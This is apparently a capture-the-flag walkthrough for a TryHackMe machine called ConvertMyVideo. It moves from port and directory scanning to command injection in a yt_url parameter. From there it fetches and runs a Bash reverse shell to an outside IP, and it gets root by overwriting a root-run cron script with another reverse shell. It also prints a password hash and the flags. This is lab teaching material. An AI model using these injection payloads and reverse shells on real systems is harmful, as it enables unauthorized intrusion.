ConvertMyVideo
Task 1: Hack the machine
What is the name of the secret folder?
Let's perform a simple nmap scan against the target.
$ nmap -p- 10.10.162.57 -T5
Starting Nmap 7.92 ( https://nmap.org ) at 2024-02-08 12:08 IST
Warning: 10.10.162.57 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.162.57
Host is up (0.13s latency).
Not shown: 64219 closed tcp ports (conn-refused), 1314 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 657.11 seconds
We can now run an advanced scan against the open ports.
┌──(kunal㉿kali)-[~/tryhackme]
└─$ nmap -A -p 22,80 10.10.162.57
Starting Nmap 7.92 ( https://nmap.org ) at 2024-02-08 12:22 IST
Nmap scan report for 10.10.162.57
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 65:1b:fc:74:10:39:df:dd:d0:2d:f0:53:1c:eb:6d:ec (RSA)
| 256 c4:28:04:a5:c3:b9:6a:95:5a:4d:7a:6e:46:e2:14:db (ECDSA)
|_ 256 ba:07:bb:cd:42:4a:f2:93:d1:05:d0:b3:4c:b1:d9:b1 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.65 seconds
There are two open ports with the following services:
| Port | Service |
|---|---|
| 22 | ssh |
| 80 | http |
Now, we can use gobuster to perform directory brute forcing.
$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.162.57
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.162.57
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/admin (Status: 401) [Size: 459]
/images (Status: 301) [Size: 313] [--> http://10.10.162.57/images/]
/index.php (Status: 200) [Size: 747]
/js (Status: 301) [Size: 309] [--> http://10.10.162.57/js/]
/server-status (Status: 403) [Size: 277]
/tmp (Status: 301) [Size: 310] [--> http://10.10.162.57/tmp/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
We can see that the /admin page is throwing a 401 error. This means that we are unauthorized to access it.
Answer
admin
What is the user to access the secret folder?
Let's visit the target's website.
Let's provide the following input:
test_id
As we can see, that did not provide us with any information.
Let's intercept the request in Burpsuite and check the response.
If we use the --default-search flag in our command, we get a different output.
yt_url=--default-search:id
We can escape the flags by adding -- before the command.
Let's change the yt_url parameter to the following to check if we have a command execution vulnerability on our hands:
yt_url=---;id;
Now, create a simple a Bash reverse shell script.
$ echo "bash -i >& /dev/tcp/10.17.48.138/9999 0>&1" > reverse_shell.sh
Let's set up a Python3 server on our machine.
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
We can now set the yt_url parameter to the following to download the reverse shell on the target.
yt_url=---;wget http://10.17.48.138:8000/reverse_shell.sh;
Note that in order for this command to work, there needs to be a TAB between wget and http instead of a SPACE.
Now, let's set up a nc listener.
$ nc -nlvp 9999
listening on [any] 9999 ...
Next, we have to execute the reverse_shell.sh file on the server using the following:
yt_url=--;bash reverse_shell.sh
Let's check back on our nc listener.
$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.17.48.138] from (UNKNOWN) [10.10.162.57] 55344
bash: cannot set terminal process group (884): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dmv:/var/www/html$
Let's list out the files in the current directory.
www-data@dmv:/var/www/html/admin$ ls -la
ls -la
total 24
drwxr-xr-x 2 www-data www-data 4096 Apr 12 2020 .
drwxr-xr-x 6 www-data www-data 4096 Feb 8 07:38 ..
-rw-r--r-- 1 www-data www-data 98 Apr 12 2020 .htaccess
-rw-r--r-- 1 www-data www-data 49 Apr 12 2020 .htpasswd
-rw-r--r-- 1 www-data www-data 39 Apr 12 2020 flag.txt
-rw-rw-r-- 1 www-data www-data 202 Apr 12 2020 index.php
We can now cat out the .htpasswd file.
www-data@dmv:/var/www/html/admin$ cat .htpasswd
cat .htpasswd
itsmeadmin:$apr1$tbcm2uwv$UP1ylvgp4.zLKxWj8mc6y/
There's the user that has access to the secret folder.
Answer
itsmeadmin
What is the user flag?
We can find the flag in the /var/www/html/admin directory.
www-data@dmv:/var/www/html/admin$ cat flag.txt
cat flag.txt
flag{0d8486a0c0c42503bb60ac77f4046ed7}
Answer
flag{0d8486a0c0c42503bb60ac77f4046ed7}
What is the root flag?
In order to escalate privileges, we need to run the pspy tool which we have to transfer to the target machine.
For that, let's set up another Python3 server.
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.162.57 - - [08/Feb/2024 13:29:03] "GET /pspy64 HTTP/1.1" 200 -
Now using wget we can download the necessary file.
www-data@dmv:/var/www/html$ wget http://10.17.48.138:8000/pspy64
wget http://10.17.48.138:8000/pspy64
--2024-02-08 07:58:55-- http://10.17.48.138:8000/pspy64
Connecting to 10.17.48.138:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'
<SNIP>
2024-02-08 07:59:07 (772 KB/s) - 'pspy64' saved [3104768/3104768]
Let's execute the pspy file and observe the output.
www-data@dmv:/var/www/html$ chmod +x pspy64
chmod +x pspy64
www-data@dmv:/var/www/html$ ./pspy64
./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
<SNIP>
2024/02/08 08:01:01 CMD: UID=0 PID=2051 | bash /var/www/html/tmp/clean.sh
2024/02/08 08:01:01 CMD: UID=0 PID=2050 | bash /var/www/html/tmp/clean.sh
<SNIP>
As we can see, the /var/www/html/tmp/clean.sh file is being executed by the machine with the UID set to 0.
This means we can obtain a reverse shell with root privileges.
First, we have to set up a nc listener.
$ nc -nlvp 9998
listening on [any] 9998 ...
Next, we have to add the reverse shell code to the clean.sh file.
www-data@dmv:/var/www/html/tmp$ echo "bash -i >& /dev/tcp/10.17.48.138/9998 0>&1" > clean.sh
echo "bash -i >& /dev/tcp/10.17.48.138/9998 0>&1" > clean.sh
After around a minute, when the system next executes the /var/www/html/tmp/clean.sh file, we will get our reverse shell with root privilege.
$ nc -nlvp 9998
listening on [any] 9998 ...
connect to [10.17.48.138] from (UNKNOWN) [10.10.162.57] 38570
bash: cannot set terminal process group (2098): Inappropriate ioctl for device
bash: no job control in this shell
root@dmv:/var/www/html/tmp#
Let's cat out the root flag.
root@dmv:/# cat /root/root.txt
cat /root/root.txt
flag{d9b368018e912b541a4eb68399c5e94a}
Answer
flag{d9b368018e912b541a4eb68399c5e94a}